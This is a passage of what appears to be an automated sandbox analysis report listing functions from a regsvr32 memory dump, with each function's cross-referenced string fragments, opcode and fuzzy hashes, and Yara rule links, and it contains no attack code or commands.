[/, xrefs: 000000018000623E
s, xrefs: 0000000180006277

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [/$s$|'
API String ID: 0-508247755
Opcode ID: 7345308087df3ea52099129a82f0c3ea94bf5dab89828cea5ac59a44806af735
Instruction ID: 494a7eb40676bfcc00c7fdba1f25141f52c7cc4812b1f7e8e8b884a852a0e06c
Opcode Fuzzy Hash: 7345308087df3ea52099129a82f0c3ea94bf5dab89828cea5ac59a44806af735
Instruction Fuzzy Hash: 1841D4B090038E8FCB48DFA9D88A5DEBBB1FB48348F10461DEC25A6250D7B49554CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012378 Relevance: 3.8, Strings: 3, Instructions: 85COMMON

Download Yara Rule

Strings

fq, xrefs: 0000000180012423
_#>, xrefs: 000000018001241C
`cb{, xrefs: 000000018001248C

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _#>$`cb{$fq
API String ID: 0-41881557
Opcode ID: 6dffa8c73f5f57da7de5f12e066b229d1e4dd53f1b7788c47ce25402a50e5fa7
Instruction ID: 8d8b26aa43ab9a83d147a377112b64bfb8255cca975d25c3e902dea97d059722
Opcode Fuzzy Hash: 6dffa8c73f5f57da7de5f12e066b229d1e4dd53f1b7788c47ce25402a50e5fa7
Instruction Fuzzy Hash: 2941C0B180078E8FCF48CF64C88A5DE7FB0FB58358F104619E86AA6250D3B89665CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012680 Relevance: 3.8, Strings: 3, Instructions: 73COMMON

Download Yara Rule

Strings

[U, xrefs: 00000001800126F5
{To, xrefs: 000000018001273E
=Z8, xrefs: 00000001800126B2

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: =Z8$[U${To
API String ID: 0-582923006
Opcode ID: 510822f7632221338f4787e6ba9fbd6d482cd1ebd2bab9e95bda9979d09408e7
Instruction ID: dd1ba70993956fe5376c9027ab0fa5dab7ea2e8642491db667c41f00a9894f6d
Opcode Fuzzy Hash: 510822f7632221338f4787e6ba9fbd6d482cd1ebd2bab9e95bda9979d09408e7
Instruction Fuzzy Hash: DA31AFB090074ECBCB88DF64C88A4DF7FB4FB68398F104219E855A6250D3B896A5CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006414 Relevance: 2.8, Strings: 2, Instructions: 314COMMON

Download Yara Rule

Strings

L, xrefs: 000000018000677D
u., xrefs: 000000018000655E

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: L$u.
API String ID: 0-1908859981
Opcode ID: 963c97d349dba17e05ff2ad4f8c091e323bd32606f741df39a0923b695cd3283
Instruction ID: fe013bb6a98280fd3664de29af0d6deafe853b8c6d857857911529a75c261ac8
Opcode Fuzzy Hash: 963c97d349dba17e05ff2ad4f8c091e323bd32606f741df39a0923b695cd3283
Instruction Fuzzy Hash: FDE1167152478DABDF98CF28C8C6ADD3BA1FB48394F906229FD0287260D775D985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000968C Relevance: 2.8, Strings: 2, Instructions: 290COMMON

Download Yara Rule

Strings

|8W, xrefs: 000000018000999A
v^, xrefs: 00000001800096A3

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: v^$|8W
API String ID: 0-4274756280
Opcode ID: e8f720407405c8f842976055ebfe5a961945bc41caeca3a3e9e3a1284d36038d
Instruction ID: eb46043f5dfd862e599a3e1f0545fc92660674d3eece30cf186a2abccef00301
Opcode Fuzzy Hash: e8f720407405c8f842976055ebfe5a961945bc41caeca3a3e9e3a1284d36038d
Instruction Fuzzy Hash: 23D11171A0630CCBDB68DF68C58AA9D7BE1FF59348F104129FC1A9B261C770E919CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001E88 Relevance: 2.8, Strings: 2, Instructions: 261COMMON

Download Yara Rule

Strings

u5\, xrefs: 0000000180001FE0
`:, xrefs: 000000018000222C

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: `:$u5\
API String ID: 0-1141760586
Opcode ID: de639cec483ce4a43014a1f68f5d3fafad908dcfa8fcc167b954aac45c8ab292
Instruction ID: 309421123f437f89acc2771e6a55141bc20ba277e2d56715f434ec53ca724750
Opcode Fuzzy Hash: de639cec483ce4a43014a1f68f5d3fafad908dcfa8fcc167b954aac45c8ab292
Instruction Fuzzy Hash: 69C1207150574DCBDB99CF28C58A6D93BE5FF98348F104129FC0E862A1CBB4EA18CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022AAC Relevance: 2.8, Strings: 2, Instructions: 250COMMON

Download Yara Rule

Strings

]6, xrefs: 0000000180022FF9
0Au, xrefs: 0000000180022F34

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 0Au$]6
API String ID: 0-775207805
Opcode ID: 41d6d67fb4784ff97a0c8e7ec9a302166e0b0c9de4538925550087b6d031b924
Instruction ID: 6edab2825e6f92fa7d6d5649e6783b0aef41eda7633721283519dacdcc01bd9d
Opcode Fuzzy Hash: 41d6d67fb4784ff97a0c8e7ec9a302166e0b0c9de4538925550087b6d031b924
Instruction Fuzzy Hash: 2DE1D7706047889FCBBEDF24CC897DA7BA8FB46704F904619E9C98E250DB745748CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026B98 Relevance: 2.7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

S9, xrefs: 0000000180026D05
qrd, xrefs: 0000000180026C88

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: S9$qrd
API String ID: 0-2332744662
Opcode ID: dccb7ee8ec7dfb8e0809544b932b2caf2d93c57dd19aa3a9b169f23ded853006
Instruction ID: d3a666ff84b181fad27f9c2352a1e83f1b6bb5c561d3220c9e7978bd2dadc88f
Opcode Fuzzy Hash: dccb7ee8ec7dfb8e0809544b932b2caf2d93c57dd19aa3a9b169f23ded853006
Instruction Fuzzy Hash: 6EB1357590660CCFCB69DFA4C08A6DDBBF1EF68344F104519E812AB262CBB0D919CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023C14 Relevance: 2.7, Strings: 2, Instructions: 204COMMON

Download Yara Rule

Strings

4&t, xrefs: 0000000180023F04
hw}2, xrefs: 0000000180023DCB

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: hw}2$4&t
API String ID: 0-1169878757
Opcode ID: 858c4deae444743a57c26792a91effe053d1d8b489a12bfa541918911fc2fcd6
Instruction ID: fd20564dcf1a671b287a6600624e9fb92dead2187b8d5629211a6de17e7e6b55
Opcode Fuzzy Hash: 858c4deae444743a57c26792a91effe053d1d8b489a12bfa541918911fc2fcd6
Instruction Fuzzy Hash: AEB168B590420CCFDB68CF78C45A5DD7BF1FB08308F60612AE826AA262D774D919CF54

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001EBA0 Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

JMWd, xrefs: 000000018001EF78
a[, xrefs: 000000018001EECA

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: JMWd$a[
API String ID: 0-3276560754
Opcode ID: 94f2740beabb4555a63fe109c076897c128458c56f4cbcfe5625600f94c775f6
Instruction ID: 3b54873520b9a846c0abc3e4022efff23af49e59c185cad729b6d512d224c3a2
Opcode Fuzzy Hash: 94f2740beabb4555a63fe109c076897c128458c56f4cbcfe5625600f94c775f6
Instruction Fuzzy Hash: D5A106706047889FDBBACF18CC857DE3BA8FB46748F504229E8CA8E254CB745749CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015494 Relevance: 2.7, Strings: 2, Instructions: 172COMMON

Download Yara Rule

Strings

-, xrefs: 000000018001574A
%[, xrefs: 00000001800156E0

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %[$-
API String ID: 0-2535708364
Opcode ID: 65f60e6b5a076c6be367ab0f8efb072c07a091d19f07b8aff3e0ecb4ccd985c8
Instruction ID: a7604732bdc10a899b7b050bfde45695c0722dd065d5eed74db0117fa162c574
Opcode Fuzzy Hash: 65f60e6b5a076c6be367ab0f8efb072c07a091d19f07b8aff3e0ecb4ccd985c8
Instruction Fuzzy Hash: 1F81627050074ECBDB99DF14C88A7DE3BA0FB28389F114219FC85962A0D778C699CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DB4C Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

/Mr, xrefs: 000000018000DD1E
i:O:, xrefs: 000000018000DE23

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: /Mr$i:O:
API String ID: 0-3426536595
Opcode ID: 8fba9de9c6c3b1e5047e1d7641fef574ac2ea6f46defdcfa8fbb4029ea408963
Instruction ID: 3eba081f804be6fa3a9d4fb4db8c82f5607d3411af965209965460f3089a80c7
Opcode Fuzzy Hash: 8fba9de9c6c3b1e5047e1d7641fef574ac2ea6f46defdcfa8fbb4029ea408963
Instruction Fuzzy Hash: 7C91087050438C8FDBBADF24C8AA7DE7BA1FB5A304F50461EEA4E8E250DB749644CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017E2C Relevance: 2.7, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

;|-, xrefs: 0000000180017FAB
6|4, xrefs: 0000000180017EA9

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6|4$;|-
API String ID: 0-2897245347
Opcode ID: 35605434c5429477d06d2e5b9b1bfa34856c77736f87f3e727847c01dfef7208
Instruction ID: 839a7c11e172a9a14e1c367a044feafa9aab422ef7ede3a919e78660e0b6ca0a
Opcode Fuzzy Hash: 35605434c5429477d06d2e5b9b1bfa34856c77736f87f3e727847c01dfef7208
Instruction Fuzzy Hash: C0714B7090474D8FCF88DFA4C8866EEBBF0FB48308F114619E88AA7251D7789645CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F328 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

U#, xrefs: 000000018000F446
U, xrefs: 000000018000F44E

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: U$U#
API String ID: 0-861755185
Opcode ID: 2086c1731bcfc2cec1958e1d1a3f8cb927817e2dd584414818c7a6dfab91bab1
Instruction ID: 3d07f47d2f6b9c27b0e4fe7d5859b29f381f1ada24735b7dc646a2f801c86eef
Opcode Fuzzy Hash: 2086c1731bcfc2cec1958e1d1a3f8cb927817e2dd584414818c7a6dfab91bab1
Instruction Fuzzy Hash: 0C515C7150C7449FC7A8DF18D4C67AAB7E0FB88310F90991DF8CAC7251EB70A9598B82

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007EB4 Relevance: 2.7, Strings: 2, Instructions: 152COMMON

Download Yara Rule

Strings

fK, xrefs: 0000000180007F95
Pr, xrefs: 0000000180007FC1

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: fK$Pr
API String ID: 0-2696692655
Opcode ID: 9489b844c734f0d344b598ec7bcb8736a735df1c6bae6eaa62d1b735c6b442f4
Instruction ID: dfe3628fe45c31a405763d5fff7ed8f4d77ec04c4bb6b45016b3f1679df2575b
Opcode Fuzzy Hash: 9489b844c734f0d344b598ec7bcb8736a735df1c6bae6eaa62d1b735c6b442f4
Instruction Fuzzy Hash: 907116B090474E8FDB88CF28C88A6DE7BF0FB18358F515219FC4AA6260D774D598CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DEF4 Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

z+&, xrefs: 000000018000E024
n\, xrefs: 000000018000E000

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: n\$z+&
API String ID: 0-1414119057
Opcode ID: f24be46eeb560fbb290949dbfd7d05873455e782ddfe7ec7ed40b48d6508653b
Instruction ID: eeb2c5940d29436bcd670e7d8a2b521530b450e3042878bcb8e4954d48490cde
Opcode Fuzzy Hash: f24be46eeb560fbb290949dbfd7d05873455e782ddfe7ec7ed40b48d6508653b
Instruction Fuzzy Hash: 22612070A04B0C8BCBA9DF98D48AADDB7F1FB58344F00411DE846A7390DBB8950ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800015C0 Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

50, xrefs: 00000001800016DE
., xrefs: 00000001800017B7

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .$50
API String ID: 0-2436285167
Opcode ID: 84d2de074a5e6e1a5d921b58512406c284d81fdc35452f42d6b6a069db9f8ad4
Instruction ID: 63debb9af518b5fca5d59737c01840b12b974a655eea7ff458552c4fa6b671e5
Opcode Fuzzy Hash: 84d2de074a5e6e1a5d921b58512406c284d81fdc35452f42d6b6a069db9f8ad4
Instruction Fuzzy Hash: 3671DF705087848FD769CF28C58965ABBF0FBC6344F008A1DF68686260CBB6D949CF03

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002ADC Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

,{, xrefs: 0000000180002C7D
uC, xrefs: 0000000180002C87

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,{$uC
API String ID: 0-1099860252
Opcode ID: 2af00e218d12abdb99ef7e76f2ba815a0f7da0c0d962cc97f106519d062cd6fe
Instruction ID: df29777c25f03bc51b29c5e68a382a2b48421fa47568a9dd7f4acde699563025
Opcode Fuzzy Hash: 2af00e218d12abdb99ef7e76f2ba815a0f7da0c0d962cc97f106519d062cd6fe
Instruction Fuzzy Hash: 28612D71A04B0C8FDBA9DF98D08A7DEB7F1FB48344F004119E406E7291DBB8990ADB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004E3C Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

*6TO, xrefs: 0000000180004F9B
"C, xrefs: 0000000180005084

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "C$*6TO
API String ID: 0-2251823003
Opcode ID: 11a52743e991166c772ae58171141d3b918ce8d4020b5bd660e65aa41626bcf5
Instruction ID: 1108d3b1afe4df31317b10417d35e55e698c36e02fd161062712c06e930ceb12
Opcode Fuzzy Hash: 11a52743e991166c772ae58171141d3b918ce8d4020b5bd660e65aa41626bcf5
Instruction Fuzzy Hash: 598166B550130DCFCB98DF28C58A59D3BA8FB49308F40812AFC1E9A264D3B4E659DB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015264 Relevance: 2.6, Strings: 2, Instructions: 137COMMON

Download Yara Rule

Strings

nkz, xrefs: 000000018001533E
_ N, xrefs: 00000001800153D5

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _ N$nkz
API String ID: 0-4083044659
Opcode ID: a2e505ed0ed44acca9d37efa5475ae9917bfda84fefcb3a28f95bfb4043916ce
Instruction ID: b07831c94fe2cbd7ac58294498593f0ee6961182af88fd212fccb4805bec53d6
Opcode Fuzzy Hash: a2e505ed0ed44acca9d37efa5475ae9917bfda84fefcb3a28f95bfb4043916ce
Instruction Fuzzy Hash: 39513971D04A1D8BDF99CFA8C5457EEBBB1FB48344F108119E415BB250CBB89A09CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B834 Relevance: 2.6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

LiD+, xrefs: 000000018000B96C
?, xrefs: 000000018000B945

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: LiD+$?
API String ID: 0-3739020763
Opcode ID: bc963e11fa834f262c09c021a462739b615030ee8f9d2598156052fa386473db
Instruction ID: 2f7d624153028320349e4a0adb7356b45dc1f3746b227896fac10cb383cb0630
Opcode Fuzzy Hash: bc963e11fa834f262c09c021a462739b615030ee8f9d2598156052fa386473db
Instruction Fuzzy Hash: F35191B590034E8FCB48DF64D48A8DE7FB0FB68398F214619E815A7210D7B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800085BC Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

\o, xrefs: 0000000180008613
%&Iv, xrefs: 00000001800086E6

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %&Iv$\o
API String ID: 0-2950252169
Opcode ID: e3b847a27b1fdf8219116b43965b4243214bd6bbc489cbb0191219741f6e6deb
Instruction ID: 7d8516b09fccf329ce1ee45da69bc8f76dfc96f1b67d05b04ebb17f55f6537e3
Opcode Fuzzy Hash: e3b847a27b1fdf8219116b43965b4243214bd6bbc489cbb0191219741f6e6deb
Instruction Fuzzy Hash: 7041C2B090074E8FCB48DF28C88A4DE7FB1FB68398F514619EC56A7250D7B496A4CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180009408 Relevance: 2.6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

Strings

P;, xrefs: 00000001800094F1
|<, xrefs: 0000000180009540

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: |<$P;
API String ID: 0-71676942
Opcode ID: d8b30cb9b0bbde5f967eaf6e88493efae150f481542faaeeec2b89fd53c9bf9b
Instruction ID: b926ab4478da67f81816527f76e4a4189747c2b1a61b322854fb240660ec53f5
Opcode Fuzzy Hash: d8b30cb9b0bbde5f967eaf6e88493efae150f481542faaeeec2b89fd53c9bf9b
Instruction Fuzzy Hash: 0F41F4B190078ECFCF48DF68C88A5DE7BB0FB58318F10461DE82AA6250D3B49665CF84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A524 Relevance: 2.6, Strings: 2, Instructions: 94COMMON

Download Yara Rule

Strings

< @, xrefs: 000000018001A5D7
#X, xrefs: 000000018001A554

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$< @
API String ID: 0-1734357072
Opcode ID: efe0763d8a7a245e8cb996b606fb90cb3ba626e454cc1a7dd4141ea463f73824
Instruction ID: 53d5526a666e2e4b0aa3df313d94281727ef5dde582db7952040e92a2ea044da
Opcode Fuzzy Hash: efe0763d8a7a245e8cb996b606fb90cb3ba626e454cc1a7dd4141ea463f73824
Instruction Fuzzy Hash: E241C3B090078E8FCF48DF68C95A5DE7BB0FB58348F104A1DEC6AA6250D3B49665CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800234D8 Relevance: 2.6, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

.B, xrefs: 00000001800235C0
X&x, xrefs: 00000001800235CE

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .B$X&x
API String ID: 0-2125001607
Opcode ID: b56e4be042cf3e20bfd4171d949980e8bdde88a4c8b77932d249eea416ff403a
Instruction ID: 406be0e8b3d674fc45ad7aec45ce8f3a41fae9dcbe4fb503a73b8d88e4a7390b
Opcode Fuzzy Hash: b56e4be042cf3e20bfd4171d949980e8bdde88a4c8b77932d249eea416ff403a
Instruction Fuzzy Hash: F541C3B190034E8BDF48DF68C98A4DE7BB1FB58358F00461DE866AB350D3B89665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014F50 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

D-o, xrefs: 0000000180015024
S1, xrefs: 000000018001504E

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D-o$S1
API String ID: 0-2248371139
Opcode ID: b2af9136cfd81d84eb1aedf16953768fff15e9d6dc77d4de408be5ef0b131a39
Instruction ID: c824313cc5550ea8d08e24e936909b38c1116e4b52b8e35a6cfdfb4e8fb0d5b5
Opcode Fuzzy Hash: b2af9136cfd81d84eb1aedf16953768fff15e9d6dc77d4de408be5ef0b131a39
Instruction Fuzzy Hash: 7F418F7090074E8FCF88CF68C48A5DEBFB0FB28398F144619E856A6250D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021588 Relevance: 2.6, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

kNTY, xrefs: 000000018002166D
")v, xrefs: 0000000180021679

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ")v$kNTY
API String ID: 0-925696221
Opcode ID: 2d468f080be7dc4ac37fbc5ab55ab08a385f91380d02a95960c4866fb202e0cd
Instruction ID: 3d1cde25fc61112586e0ccbc864a2b9889115514f3b9559dcc74a8c2fbc402f5
Opcode Fuzzy Hash: 2d468f080be7dc4ac37fbc5ab55ab08a385f91380d02a95960c4866fb202e0cd
Instruction Fuzzy Hash: 49317CB16187858B8348DF28C45641ABBE1FBCD70CF544B2DF4CAAB251D738D6128B4B

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800025B8 Relevance: 2.6, Strings: 2, Instructions: 69COMMON

Download Yara Rule

Strings

O, xrefs: 00000001800025BC
\u, xrefs: 00000001800026CE

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O$\u
API String ID: 0-3775190597
Opcode ID: 81226de3c00d9588fcdb855554b2562b3d5d50c3db8a2dd8ff0fab91db437570
Instruction ID: b3d17dff366e7d439aca65bd494037a1e9e1cb33d0f26cc5f3c7e2fad645fe6e
Opcode Fuzzy Hash: 81226de3c00d9588fcdb855554b2562b3d5d50c3db8a2dd8ff0fab91db437570
Instruction Fuzzy Hash: 5B31C4B0528781AFC798DF28D09991ABBF1FBC9304F806A1DF98A8B350D774D845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012044 Relevance: 2.6, Strings: 2, Instructions: 67COMMON

Download Yara Rule

Strings

+N, xrefs: 0000000180012133
:s[, xrefs: 000000018001209B

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: +N$:s[
API String ID: 0-2992701377
Opcode ID: 59945e4bfd5c1812b410bc992af75b99beb9f24da50121ece688e224e72b4b08
Instruction ID: 2af45dfac4c7ae0da7497fa8c295952f08e7f96bebb69c710dc1a077a3b8364b
Opcode Fuzzy Hash: 59945e4bfd5c1812b410bc992af75b99beb9f24da50121ece688e224e72b4b08
Instruction Fuzzy Hash: 443192B5528381ABC388DF28C48A81FBBE1FBC9359F806A1DF8C696261D734D5458B43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024370 Relevance: 2.6, Strings: 2, Instructions: 64COMMON

Download Yara Rule

Strings

'yN, xrefs: 000000018002441B
k, xrefs: 0000000180024379

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'yN$k
API String ID: 0-35230329
Opcode ID: 664b9cbffe37651652d085acf9af43cce7b6a19192dfc0ee1d7ff8525738b321
Instruction ID: 07b651401a32326000ca6cd35722393aebb0696fbf8e2d5e5a89f081ef8d3ba1
Opcode Fuzzy Hash: 664b9cbffe37651652d085acf9af43cce7b6a19192dfc0ee1d7ff8525738b321
Instruction Fuzzy Hash: DE318FB191478E8BDB48DF68D8494DF3BF0FB58308F004A29EC6A9A250D7B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800024C0 Relevance: 2.6, Strings: 2, Instructions: 51COMMON

Download Yara Rule

Strings

lt, xrefs: 000000018000254B
]2F, xrefs: 0000000180002531

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ]2F$lt
API String ID: 0-3307743551
